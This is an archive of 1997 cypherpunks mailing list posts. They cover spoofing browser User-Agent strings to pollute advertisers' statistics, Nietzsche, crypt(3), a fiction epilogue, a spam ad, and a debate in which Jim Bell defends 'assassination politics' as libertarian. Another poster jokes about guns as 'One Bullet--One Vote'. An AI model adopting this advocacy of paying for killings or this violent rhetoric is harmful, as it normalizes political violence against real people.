>        Similarly, putting a randomly generated email address in those
>sign up fields produces pollution in the data used by spammers, which
>costs them (and no one else) money.  If you run your own site, you can
>even bit bucket the email, trading their bandwidth for yours, and
>making them think they're delivering more junk email than they are.
>
>Adam

Now that's the CP spirit!

Whenever you wish to influence policy, follow the money.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sun, 20 Apr 1997 16:21:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Epilogue to WebWorld
Message-ID: <335AA4E9.639C@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Epilogue


Bubba Rom Dos IV, derelict and philosopher, sage and savant, stood
teetering at the edge of the modest group that had gathered around
the barbecue in the backyard of the country home of Bubba D'Shauneaux
IV.
"To the legendary, mythological "Circle of Eunuchs."
he declared, raising his glass in toast to all around him. Whereupon
Bubba promptly fell on his sorry, drunken ass.

The small group laughed heartily, throwing paper napkins and dandelions
they picked from the ground upon his pitiful carcass. 

"Bubba, the 'Circle of Eunuchs' doesn't exist-everyone knows
that.", Priscilla said, picking him up from his ignoble position
on the ground.

"A complete fabrication for the dim of wit.", the Cowboy
added, smiling from ear to ear. "I'm surprised that a man
of your renowned intellect still chooses to spout that illogical
babble."

"Then why, pray tell, are we all still alive?", Bubba
replied, with a sweeping gesture of hand that encompassed all
gathered there.
All eyes turned to the Author, waiting for his reply.

"Because," the Cowboy stated succinctly, "we are
mythical creatures, living in the realm of mythos, and it is infinitely
harder to kill a myth than to kill a reality."

His statement was met with a resounding applause from the small
group gathered around him, and it spread to the larger group of
guests who were gathered at the back of the small cabin, though
they had heard little of what was being discussed by the small
band of individuals that they regarded as their saviors.
One of them cried out, "Cowboy. Where do we go from here?"
The crowd awaited his answer.

The Cowboy motioned the crowd toward the lake, and everyone walked
silently toward the shore, hand in hand, each lost in his or her
own thoughts about the events of the last few days and their thoughts
for the future. Bottles of 'Bubba Rom Dos' Private Reserve' were
passed from hand to hand as they each became seated at the edge
of the lake, and the Cowboy walked to the water's edge, gazing
out over it.
He stood silently, looking out over the lake for a few moments,
and then turned to those gathered before him, saying, "There's
nowhere to go."

Bubba, standing to the Cowboy's right, placed his hands upon Priscilla's
buttocks, and said, "Wherever you go, there she is."

This was met with a resounding roar of laughter and a barrage
of freshly picked flowers from those gathered at the lakeside.
Priscilla smacked Bubba's hands and he grinned sheepishly as everyone
waited for the Cowboy to continue.
The Cowboy smiled at Bubba and Priscilla, who were holding each
other and swaying slightly, at last comfortable with releasing
themselves to feel the affinity they had always shared. He cast
a glance at Alexis and Jonathan, currently involved in the self-same
procedure of lifelong bonding.

Bubba had performed a special ceremony before the gathering at
D'Shauneaux's cabin, one which had submerged Alexis' conscious
realization of the special Yin-Yang relationship she held with
the Cowboy, and freed her to continue to develop her being with
the one who would be her life-sharing SoulMate in her present
incarnation-Jonathan. 
Upon completion of the ceremony, when Alexis and Jonathan began
realizing the close bond that was developing between them, the
Cowboy could not stop himself from remarking that he thought it
unseemly that Alexis should be consorting with a man six years
her senior. Jonathan and Alexis had watched, mystified, as Priscilla,
Bubba and the Cowboy rolled on the floor in laughter, with the
two of them wondering why the others all seemed to think that
the Cowboy's remark was so hilarious. 

"Nothing has changed.", the Cowboy began, once again
turning to those gathered before him by the shore of the lake.
"Or perhaps," he added, as a gentle afternoon mist began
rising from the edge of the lake behind him, "one could say
that everything has changed."

"Perhaps," he continued, as the mist at the edges of
the lake began spreading, in swirls, across its great expanse,
"the Lake of Life has begun to turn over."
"Perhaps, the bottom is rising to the top, the top is descending
to the bottom, and everything is becoming the opposite of what
it seems to be."

"Perhaps," the Cowboy continued, as he paced slowly
back and forth, his voice becoming an almost inaudible whisper
which seemed to emanate from in front of those gathered there,
and behind them, and from all sides, "we have all been saved
by a small group of saviors."
He gestured towards Bubba, Priscilla, Alexis and Jonathan, and
then toward D'Shauneaux, who was just joining the gathering, in
the company of Melissa.

"Or perhaps," he said, turning to face the crowd,
one and all, directly, the rough whisper of his voice now carrying
softly upon the gentle wind which was blowing in from the lake,
shrouding them all in a fine, opaque mist, "we were saved
by the GrandMaster whom myth has foretold to be the individual
who would step forward when the time came where the Evil One would
make his bid for control over the souls of all of humankind, across
the face of the earth." 

The Cowboy stepped forth into the gathering, and began pointing
to first one, then another, of those assembled there.

"Perhaps it is you, or you, or the little one..."
, he paused to place his hand upon the head of a small child being
held in her mother's arms, "...who is the GrandMaster.
For legend has it that as long as there is but one free man or
woman on the face of the earth-a single person capable of holding
tight to free and rational thought-that there remains a 'cubic
centimeter of chance' that all of humanity can escape the bondage
of the Dark Forces which strive to imprison us."

The Cowboy continued walking through the throng of people, who
were each sitting quietly, hanging on his every word, and he proceeded,
saying, "Or perhaps it is all but a dream, and we will
awaken in the morning, wondering if it is at all possible that
what we have seen, and experienced, in these last few days, is
real."

The mist arising from the lake had now enshrouded everyone in
a dense fog, leaving each of them alone in his or her private
universe, as the Cowboy's voice rose to a commanding pitch of
certitude.

"Forget not, what you have seen and heard in these few
preceding days. Be not afraid to speak of the things you have
seen and heard, to those who have ears to hear-even though it
will lead to others labeling you a fool, spreading fables for
the dim of wit."
"Pick up the torch which has been passed to you, and hold
it high, though it's burden may cause you to stumble and fall,
and though others around you may give up, in despair. For you
are the Author, the Hacker, and the Fool-and you are the GrandMaster
who stands guard over the souls of all humankind, across the face
of the whole earth, and beyond."

"For as long as their is a spark, there is hope. As long
as their is a myth, then the myth can be made real, through faith,
hope, belief-and action."


The gentle wind from the lake slowly dissipated the misty fog
surrounding those gathered there that day, as they looked at one
another in silence, realizing that the Cowboy was now gone and
they were, once again, on their own.
Bubba Rom Dos IV stepped forward, lifting his glass in toast,
declaring, "Thus ends the Second allegorical meeting of the
nonexistent 'Magical Circle of Eunuchs.'"

He was roundly pelted with a fresh gathering of hastily plucked
wildflowers as he downed his toast to a mythical group which has
never really existed, and possibly never will.

As the group dispersed, amongst hugs and kisses between one and
all, each person stopped by the side of the lake, to gaze at their
own reflection, knowing that the time might someday come when
they were the last free man or woman on the face of the earth.
And each resolved, within himself or herself, that they would
not die, asking plaintively, "Why didn't I do something."


Gomez sat quietly in his study, staring vacantly
into the dark void which stretched interminably before him. Once
again, all of his efforts had come to naught, and all because
of a myth...a myth which had been actualized though becoming
endued with a small spark of hope, faith and belief. A myth which
had created a smouldering ember of expectancy in these infernal
creatures who continued to resist the plans of the Evil One to
subdue them, and hold them in bondage to his Grand Purpose for
all of mankind to serve Him.


Gomez slowly poured himself a shot of 'Bubba Rom
Dos' Private Reserve', noticing, for the first time, the words
in fine print at the bottom of the Logo.

"Mythos is the 'Black Bitch' of
the universe...it's the wildcard in the Game of Life."


Epilogue / "WebWorld & The Mythical
Circle of Eunuchs"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 17:52:31 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
Message-ID: <199704210052.RAA13982@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 14:13 4/20/97 -0700, Declan McCullagh wrote:
>Jim,
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks. 
>-Declan

Sure, they can BELIEVE in those things without seeing the need, etc, but
then again they can believe in the tooth fairy and Santa Claus.  Their
position would be overly optimistic, in my opinion.  

I think a more realistic way to phrase it is this:  "If a society is
sufficiently defective so as to contain those flaws (ones which could have
been corrected using AP), that society will also contain flaws which make it
impossible to be called libertarian."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 20 Apr 1997 19:23:01 -0700 (PDT)
To: adam@homeport.org
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704202032.PAA05999@homeport.org>
Message-ID: <199704210221.TAA00232@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> 	Thats true, but can they avoid it?  I'm considering writing a
> database pollution bot, which runs around, claiming to be Mozilla or
> IE, and randomly following a link once per minute.  Why?  Database
> pollution.  If there are a few thousand of these randomly collecing
> links and creating arbitrary (or perhaps biased) viewing habbits in
> the databases of the advertisers, then their individual data becomes
> worth less.  They'll need to actively solicit peoples permission to
> collect data before doing so, to avoid people polluting their
> databases.

That's an interesting thought.
As it happens last week I added a way in Cookie Jar to allow sending HTTP
User-agent to some sites... the reason is that I ran into a couple that
absolutely have to know what type of browser you are using, and if given no
User-agent deliver either meaningless HTML or nothing at all.
Well Fargo and wIrEd.cOm are the ones I found.

So I added a rule to pass the User-agent line to sites like that.
However I edit out the part that informs the server what OS etc
you are running.  The User-agent is usually something of the form

User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

and it's the part in the parens that I really object to, the part
that says what browser you have seems to be what the sites in question
need to deliver useable HTML.

I briefly had it send:

User-Agent: Mozilla/3.0Gold (why; they; fuck do you care)

but now it sends nothing at all in the parens.


In order to maximally fuck up stats, what should be put into
the windowing system/OS fields?  It has to be something that
exists and is fairly common, so that its not able to be thrown out
by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
but that'd be easy to throw out, even though ports of X to MVS really did
exist.

Maybe I'll just make every copy of Cookie Jar look like
it's running on Linux.


BTW, Wells Fargo's on-line banking sucks dead gerbils through a dirty
garden hose.  The interface is poor, it checks that you're using
SSL not by actually trying it, but by checking the User-agent
field to see if you're using a browser that supports SSL, and
then when I try to transfer money between accounts, it refuses with
no explanation.  A fine example of how NOT to do things.


-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 20 Apr 1997 18:11:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210036.TAA00289@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



I forwarded Mr. May's post to a buddy of mine, Ronald Carrier, who is 
getting his Piled Higher and Deeper in Continental Philosophy. I asked 
for comments, and recieved permission to forward his comments to the 
list. Here it is:

Forwarded message:
> From rcarrier@suba.com  Sat Apr 19 18:02:57 1997
> From: "Ronald M. Carrier" <rcarrier@suba.com>
> Good afternoon.
> Thanks for forwarding this to me.  I've taken a look at it, and it seems 
> to me to be a good introductory indication of what Nietzsche was up to.  
> There are just three points on which I'd like to offer a bit of 
> clarification.
> 
> (1) Nietzsche as "anti-systematic" thinker: this is something that is 
> also referred to when Nietzsche is called a "perspectival" thinker.  
> Nietzsche thinks that thinking was an activity that is ultimately in the 
> service of life, where "life" is a process of discovering and developing 
> one's capacities for acting to the fullest.  (And on this understanding 
> of life, thinking would itself be one of these capacities for acting.)  
> For Nietzsche, to develop a system is to develop a perspective, and so to 
> develop a certain way of living.  Indeed, he regards systems primarily as 
> _symptoms_ of various ways of living.
> 
> What he dislikes about systems is that they are perspectives that are, so 
> to speak, monopolistic--they are ways of thinking (and, in the end, ways 
> of living) to which everyone must submit themselves and which deny that 
> there are other ways of thinking and living that may be better suited for 
> someone.  Nietzsche is anti-system in that he thinks that life is best 
> served if one is able to develop in oneself the capacity for multiple 
> perspectives, multiple ways of thinking and living.  Nietzsche himself 
> attempts to do this in his own writing--hence the aphoristic style of 
> which he was fond.  (This is not to say that Nietzsche was not capable of 
> developing a sustained argument--_On_the_Genealogy_of_Morals_ does 
> precisely this.)
> 
> For Nietzsche, thinking best serves life and is symptomatic of life at 
> its best (i.e. a life that is active and deals creatively with the 
> circumstances that chance throws up for it, rather than one that is 
> reactive and tries to minimize the role of chance and change in living) 
> if it is the interplay of as many different perspectives as one can handle.
> 
> (2) Nietzsche and evolution: I think it's good that the author pointed 
> out the connections that can be made between Nietzsche and contemporary 
> evolutionary biology.  Nietzsche did not think much of Darwin, but this 
> is not so much because he disagreed with what Darwin wrote (I'm not sure 
> whether he had read Darwin himself or not) as because he disagreed with 
> what others tended to make of what Darwin wrote (or what they supposed he 
> wrote).  Nietzsche disagrees, not with Darwin's notion of natural 
> selection, but with the popular notion of evolution (a notion which 
> Darwin did not himself employ in his works).
> 
> "Evolution" presupposes that what organisms there are and what they are 
> like is something that is predetermined and that inexorably unfolds 
> across time.  Natural selection, even in Darwin, is incompatible with 
> evolution in this sense because natural selection posits chance and 
> change as both ineliminable and necessary to the process of speciation.  
> And as I pointed out above, Nietzsche thinks that chance and change are 
> ineliminable from life and necessary for the development of life at its 
> best.  "Evolution" also involves the idea that there is some one best way 
> of life that is the unavoidable outcome of evolution, namely whatever way 
> of being human that the "evolutionary" thinker thinks is best.  This is 
> for Nietzsche a reactive way of thinking.
> 
> But while Nietzsche's way of thinking is compatible with contemporary 
> evolutionary biology, I think it's misleading to claim that his 
> understanding of life is "biological."  Nietzsche thinks that biology 
> plays an ineliminable and necessary part in life, but he also thinks that 
> life is more than just a matter of biology.  (Nietzsche was suspicious of 
> science because he thought that it too aspired to be a system in the 
> sense of a monopolistic perspective.  In other words, he disliked scientism.)
> 
> (3) Authoritarian v. libertarian: The author claims that these are 
> contradictory positions in Nietzsche.  I don't think they are.  They 
> would be contradictory if Nietzsche held that everybody was equally 
> capable of attaining to life at its best.  Nietzsche is _very_ clear in 
> his denial of this.  He thinks that reactive thinking and living is 
> typical of the great mass of people and suitable for them.  They are able 
> to live as well as they do precisely because a confinement to one 
> perspective suits them--expose them to the possibility that their 
> perspective is not suitable for all, and they will fall into despair 
> (because from their perspective the way of life they lead must be 
> suitable either for all or for none).
> 
> Only a very few are, in Nietzsche's view, capable of thinking and living 
> actively.  Insofar as the ideal political arrangement would be one that 
> would discover and cultivate these active few and put them in positions 
> where they could do their best, while letting everybody else get along 
> more or less as their reactive lives permit, it would be libertarian for 
> the best and authoritarian for the rest.  To the extent that 
> libertarianism presupposes equality of nature, Nietzsche is not a 
> libertarian; to the extent that authoritarianism is based on a reactive 
> way of life to which both master and slave are beholden, Nietzsche is not 
> an authoritarian.  His politics are, if anything, those of Aristotle in 
> the _Politics_.  (This is not terribly surprising--Nietzsche was a 
> philologist by training and so had a wide familiarity with ancient Greek 
> writings.)
> 
> HTH.
> 
> Later...
> 
> --
>                    Ronald M. Carrier -- rcarrier@suba.com
>                Graduate Student in Philosophy, Northwestern U.
>                   "Philosophy--I'm only in it for the money."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 20 Apr 1997 19:51:20 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704210052.RAA13982@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970420194643.28864D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I can't believe I'm being sucked into an AP argument with Jim Bell but
here goes...

Bell sees AP as a means to a freer society. But libertarianism is all
about how means (Hillary's health care plan) don't justify the ends
(everyone has health care). AP is not about libertarianism, it is about
anarchism.

And to clear up any possible misunderstanding, I don't think that
D.Friedman mentioned Jim Bell or AP, just some of the underlying concepts
-- that have, after all, been discussed here for years before Bell ever
found this list. *sigh*

-Declan


On Sun, 20 Apr 1997, Jim Bell wrote:

> At 14:13 4/20/97 -0700, Declan McCullagh wrote:
> >Jim,
> >For the record: I doubt everyone agrees with your "libertarianism is
> >intertwined with assassination politics" line... I suggest that one can
> >believe in minimal government and other libertarian mainstays without
> >seeing a need to kill off those whom we dislike, be they IRS agents or
> >surly supermarket clerks. 
> >-Declan
> 
> Sure, they can BELIEVE in those things without seeing the need, etc, but
> then again they can believe in the tooth fairy and Santa Claus.  Their
> position would be overly optimistic, in my opinion.  
> 
> I think a more realistic way to phrase it is this:  "If a society is
> sufficiently defective so as to contain those flaws (ones which could have
> been corrected using AP), that society will also contain flaws which make it
> impossible to be called libertarian."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 20 Apr 1997 16:57:05 -0700 (PDT)
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Re: Militarily Critical Technologies
Message-ID: <1.5.4.32.19970420235541.008a3c14@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:37 PM 4/20/97 GMT+0200, you wrote:
>>  Unique Equipment: Computers of 10,000 CTP, or greater,
>
>Pardon my igorance: What is CTP?
>Who is the author of that list?
>

CTP is an acronym for Composite Theoretical Performance, 
a definition of computer capability used in the Export 
Administration Regulations. See EAR Section 740.7 
Computers (CTP) at:

   http://jya.com/740.htm

The US Department of Defense, Office of the Under Secretary 
of Defense for Acquisition and Technology, is the author of 
the Militarily Critical Technologies List (MCTL). See 
attribution at:

   http://jya.com/mctl08.htm

This should not be contrued to mean that I'm not also ignorant
of what I quote and quack about weird lists of holy-shit technology.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rachel Willmer <rachel@intertrader.com>
Date: Sun, 20 Apr 1997 12:34:43 -0700 (PDT)
To: Adam Shostack <stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970420202354.006ce42c@194.217.109.226>
MIME-Version: 1.0
Content-Type: text/plain


At 09:34 19/04/97 -0500, Adam Shostack wrote:
>
>	I'm suprosed no one has suggested paying people for
>advertising.  

This is one of the more novel ideas that Digital have come up with for
Millicent. 

In return for allowing the advertiser to download their advert to you, you
get credited with an amount of scrip which is redeemable at their site. 

An interesting concept...

Rachel
Rachel Willmer
<rachel@intertrader.com>
Intertrader Ltd
<http://www.intertrader.com>
4 John's Place                                                       Tel:
+44 131 555 8450
Edinburgh EH6 7EL                                             Fax: +44 131
555 8451          

Authors of "Digital Money Online" (TM)
<http://www.intertrader.com/library/DigitalMoneyOnline/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 20 Apr 1997 22:39:09 -0700 (PDT)
To: jamesd@echeque.com
Subject: Re: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <199704210227.TAA10829@proxy3.ba.best.com>
Message-ID: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:27 AM 4/20/97 +0800, jamesd wrote:
>The election of various unpleasant Islamic Fundamentalist regimes.
>In particular, it seems likely that had the generals not violently 
>overthrown democracy in Algeria, the democratically elected
>representatives of the people would have proceeded to kill off
>everyone they deemed insufficiently Islamic, a very substantial
>minority, a minority which would doubtless have included most of 
>the generals and their families.

The Islamic party didn't start killing off foreigners until the
French and other Westerners supported the generals who overthrew them.
It's funny how a modern liberal democracy like the US will
go to war and kill 6000 people in Panama just because one of their
ex-employees is embarassing them by not leaving the Presidency after
his term is up ("We had to protect democracy"), but when a military
junta takes over from a non-pro-CIA government, they support the military.

>American Civil war.
(We've done that rant here a few times :-)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 20 Apr 1997 19:35:40 -0700 (PDT)
To: ericm@lne.com (Eric Murray)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <199704210231.VAA07373@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray wrote:


| User-Agent: Mozilla/3.0Gold (X11; U; Linux 6.6.6 i386)

| In order to maximally fuck up stats, what should be put into
| the windowing system/OS fields?  It has to be something that
| exists and is fairly common, so that its not able to be thrown out
| by the stats-gathers.  I could use "(X11; MVS; IBM MVS some version number)"
| but that'd be easy to throw out, even though ports of X to MVS really did
| exist.
|
| Maybe I'll just make every copy of Cookie Jar look like
| it's running on Linux.

	I think you should rotate through a list, in case they're
keeping track of it in conjunction with your other information.  Thus,
have the same cookies comeing from different user agents, say rotate
between Rhapsody on PowerPC and Linux on an Alpha.

	Alternately, have it come from Internet Exploder on various
UNIX boxes.  (Unless thats now generally available.)

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: FSBO-3.COM@mail1y-int.prodigy.net
Date: Sun, 20 Apr 1997 23:07:09 -0700 (PDT)
To: Friend@public.com
Subject: Days 3 Took It
Message-ID: <199704210605.CAA46704@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

                ****** FREE REPORT ******

"I SOLD MY HOUSE IN 3 DAYS WITHOUT A BROKER!"
       (And Saved Over $5,000.00 In Commissions!)

*If You Are Thinking of Selling Your Home, 
Then I Can Help You!*

When I sold my home, I couldn't afford to pay $5,000.00 or
more to a real estate broker.  I set out to sell my home myself
and I did!  Not only did I sell it myself, but I sold it in only
*3 DAYS* and *I GOT THE TOP PRICE!*

Realtors will tell you that you cannot get the exposure they
can in selling your home.  DON'T BELIEVE THEM!  You can
get even greater exposure doing a few simple things.

AND THINK WHAT YOU CAN DO WITH THE
COMMISSIONS YOU SAVE!

It's really quite simple once you know what to do.  I explain
exactly what to do  >EXACTLY WHAT I DID< To sell a
house quickly, at the Best Price, on your own.

Read what a few people wrote after reading my program:

     "After reading your book, I decided to sell my home myself.
       I never dreamt it could be so easy!"   - J. Dell, Akron, OH

     "I can't wait to take a vacation with the $8,000.00 I'll save in
       commissions."   - Linda Harris,  Lawndale, CA


                    >> YOU HAVE NOTHING TO LOSE <<
                           >> EVERYTHING TO GAIN! <<

************************
To get your **FREE** REPORT:
************************

3 Easy Steps:

1)  Send a Self Addressed Stamped #10 Envelope with 55 cents postage to:
     Dept S2
     1920 N. Lake Ave., #108-208
     Altadena, CA  91101-3059

2) Enclose your name, address, phone number on a 3 x 5 card

3) Enclose two $1.00 bills







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Sun, 20 Apr 1997 15:08:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Militarily Critical Technologies
In-Reply-To: <1.5.4.32.19970420013646.008a731c@pop.pipeline.com>
Message-ID: <m0wJ3Mg-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


>  Unique Equipment: Computers of 10,000 CTP, or greater,

Pardon my igorance: What is CTP?
Who is the author of that list?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 20 Apr 1997 23:07:51 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
Message-ID: <199704210607.XAA11316@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 19:51 4/20/97 -0700, Declan McCullagh wrote:
>Bell sees AP as a means to a freer society. But libertarianism is all
>about how means (Hillary's health care plan) don't justify the ends
>(everyone has health care). AP is not about libertarianism, it is about
>anarchism.

I disagree with the implications of that last sentence.

For as long as I can recall, there has been an ongoing debate in libertarian
circles between "minarchists" (those that believe in a minimal government)
and "anarchists" (those who believe in no government.)  I was once a
"minarchist," simply because I couldn't figure out a logical way to totally
obsolete government functions.  Then, I did, so I became an anarchist.  It
sounds like you are still a minarchist.  

Now, I could just say, "go ahead, be that way", but the thing to acknowledge
is that there is, at least, a DEBATE on this issue.  I didn't deny it back
when I was a minarchist; I don't deny it today, as an anarchist.  Neither
should you.

AP is, implicitly I believe, an anarchy-producing system.  That is (or at
least, may be) a libertarian position, particularly for an
anarchist-libertarian.   _Minarchists_ may be bothered by it, but that
doesn't (necessarily) make it non-libertarian.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 20 Apr 1997 20:13:21 -0700 (PDT)
To: cypherpunks@algebra.com
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704210221.TAA00232@slack.lne.com>
Message-ID: <0nKhgr200YUf0PCEk0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Eric Murray <ericm@lne.com> writes:
> Maybe I'll just make every copy of Cookie Jar look like
> it's running on Linux.

On an i386. Fight bloatware, influence markets, win friends!

Jer

(No PGP sig `cuase I'm running an unencrypted connection)
(Yeah, I store my private key on a multi-user machine, so sue me.)

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 20 Apr 1997 23:38:44 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: David Friedman and assassination politics
In-Reply-To: <199704202015.NAA01741@mail.pacifier.com>
Message-ID: <v0300780eaf80b192073d@[207.94.249.153]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:13 PM -0700 4/20/97, Declan McCullagh wrote:
>For the record: I doubt everyone agrees with your "libertarianism is
>intertwined with assassination politics" line... I suggest that one can
>believe in minimal government and other libertarian mainstays without
>seeing a need to kill off those whom we dislike, be they IRS agents or
>surly supermarket clerks.

I thought I'd pass on this quote:

"Four more jeeks run up to join them.  Y.T. counts two more revolvers and a
pump shotgun.  Any more of these guys and they'll be able to form a
government."

  - Snow Crash p84, Neal Stephenson

I have always thought that what the newspapers call "anarchy" is not the
absence of government, but rather the presence of too many competing
governments.

I prefer nonviolent solutions myself.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 20 Apr 1997 20:35:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Nietzsche and Crypto Anarchy (fwd)
Message-ID: <199704210335.XAA09255@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> > From: "Ronald M. Carrier" <rcarrier@suba.com>

> >  Nietzsche is anti-system in that he thinks that life is best
> > served if one is able to develop in oneself the capacity for multiple
> > perspectives, multiple ways of thinking and living.  Nietzsche himself
> > attempts to do this in his own writing--hence the aphoristic style of
> > which he was fond.

  Of course, if Nietzsche posted his multiple perspectives to
the CypherPunks list anonymously he would probably be castigated
for being too cowardly to maintain a consistent list persona, and
thus contributing nothing of value to the list.

TruthNietzsche





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frisbee@nni.com (Adam Tuliper)
Date: Sun, 20 Apr 1997 21:13:36 -0700 (PDT)
To: "'cypherpunks@toad.com>
Subject: crypt(3) questions
Message-ID: <01BC4DE9.1F7AEE00@ascend571.nni.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe that the crypt(3) function for unix password encryption is called a one-way function.. in that it is not reversible.
Why is this? IE what makes it one way..
              Adam







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 21 Apr 1997 00:22:45 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Short AP Rant [POLITICAL NOISE]
In-Reply-To: <3.0.1.32.19970420212255.00656b50@popd.ix.netcom.com>
Message-ID: <335B1377.49DF@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> It's funny how a modern liberal democracy like the US will
> go to war and kill 6000 people in Panama just because one of their
> ex-employees is embarassing them by not leaving the Presidency after
> his term is up ("We had to protect democracy"), but when a military
> junta takes over from a non-pro-CIA government, they support the military.

  Democracy is where 51% of the people can murder the other
49% of the people--legally.
  [fade to close-ups of people being dragged screaming to their death]
  [pan to politican]
  "I don't know where these people get off, complaining like that. They 
had their chance at the polls.
  "Hey, it's not perfect, but it's the best system we've got."

  Of course, even in a democracy, 10% of the people can murder the
other 90% of the people, if there is some pressing need, such as
protecting them from drug dealers and pornographers.
  [fade to trains (running on time) with cattle-cars filled with people]
  [pan to Commander in Chief]
  "Look, the people spoke when they elected the people who put in
place the Secret Emergency Powers Act, and appointed the members of
the Double-Secret Regulatory Commission.
  "They can hardly complain about those they have given Executive 
Powers exercising that power, now, can they? Especially when it is
in their own long-term interest?
  "Hey, it's not perfect, but it's the best system we've got."

  Myself, I'm partial to the Smith&Wesson 'Democracy' model, which
can be purchased as the 'AP Home Democracy Kit', complete with a
"One Bullet--One Vote" bumper-sticker.

  ----- Government Escrowed Key -----
  WeVegoTyoUrnAMEaNdweKNoWWheREyouLIveaNDyoURPHonE#AnD
  WHeReyOUvEbeeNANdthenaMEOFyOUrdoGAnDWhaTYoureaDAndwH
  aTYouwRIteandIFYOUFUCKWITHUSYOU'RETOASTanDMaYBeEVenI
  FyOUdON't
  ----- End of Rights & Freedoms -----

-- 
Toto
